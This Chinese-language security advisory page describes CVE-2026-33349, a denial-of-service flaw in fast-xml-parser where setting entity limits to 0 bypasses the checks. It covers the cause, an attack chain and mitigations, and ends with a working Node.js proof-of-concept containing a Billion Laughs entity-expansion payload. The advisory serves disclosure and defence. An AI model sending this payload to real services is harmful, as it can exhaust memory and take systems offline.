IPBUF安全漏洞报告
English
CVE-2026-33349 CVSS 5.9 中危

CVE-2026-33349 fast-xml-parser 拒绝服务漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33349
漏洞类型
拒绝服务
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
fast-xml-parser

相关标签

拒绝服务DoSXMLfast-xml-parserJavaScriptCVE-2026-33349

漏洞概述

fast-xml-parser是一款允许用户不依赖C/C++库处理XML的JavaScript库。在4.0.0-beta.3至5.5.7之前的版本中,DocTypeReader组件在处理配置限制时存在逻辑缺陷。该组件使用JavaScript的真值检查来评估maxEntityCount和maxEntitySize。当开发者显式将这两个参数设置为0,意图禁止实体或限制大小时,由于0在JavaScript中为假值,导致校验逻辑短路,从而完全绕过了安全限制。攻击者可利用此漏洞构造恶意XML输入,触发无限制的实体扩展,导致目标应用内存耗尽,进而引发拒绝服务攻击。

技术细节

该漏洞源于JavaScript弱类型语言特性与安全校验逻辑的不当结合。fast-xml-parser的DocTypeReader在初始化时,并未严格验证配置参数的数据类型,而是直接依赖if语句进行真值判断。在JavaScript中,数字0被视为falsy(假值)。当开发人员将maxEntityCount或maxEntitySize配置为0时,本意是拒绝所有实体解析或限制大小为0。然而,代码中的逻辑类似于'if (maxEntityCount) { check... }',导致当参数为0时,检查代码块被跳过。这实际上赋予了攻击者无限的实体配额。攻击者通过发送包含大量嵌套或递归XML实体的Payload(例如“Billion Laughs”攻击向量),诱导解析器进行指数级或线性的内存分配。由于限制被绕过,服务器内存将迅速耗尽,导致服务崩溃或无响应。

攻击链分析

STEP 1
侦察
攻击者识别目标应用使用了fast-xml-parser库,并确定其版本在受影响范围内(4.0.0-beta.3至5.5.7之前)。
STEP 2
武器化
攻击者构造包含大量递归XML实体定义的恶意Payload(如Billion Laughs攻击)。
STEP 3
交付
攻击者通过应用程序接口(API)将恶意XML数据发送给服务器。
STEP 4
利用
服务器端的fast-xml-parser尝试解析XML。由于开发者可能将限制设为0,防护机制被短路绕过,解析器开始无限扩展实体。
STEP 5
影响
服务器内存被迅速耗尽,导致进程崩溃或系统无响应,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const { XMLParser } = require('fast-xml-parser'); // Vulnerable configuration: setting limits to 0 to restrict entities const options = { ignoreAttributes: false, allowBooleanAttributes: true, // Setting these to 0 intends to disable entities, but bypasses the check maxEntitySize: 0, maxEntityCount: 0 }; const parser = new XMLParser(options); const xmlData = ` <!DOCTYPE data [ <!ENTITY a "1234567890"> <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;"> <!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;"> <!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;"> <!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;"> <!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;"> <!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;"> ]> <data>&i;</data> `; try { // This will cause DoS due to unbounded expansion because limits are bypassed const result = parser.parse(xmlData); console.log('Parsing succeeded (unexpectedly):', result); } catch (e) { console.error('Parsing failed:', e.message); }

影响范围

fast-xml-parser >= 4.0.0-beta.3, < 5.5.7

防御指南

临时缓解措施
在未升级版本前,开发者应确保不将安全配置参数设置为0,或者通过中间件过滤包含DOCTYPE声明的XML输入,以防止实体扩展攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表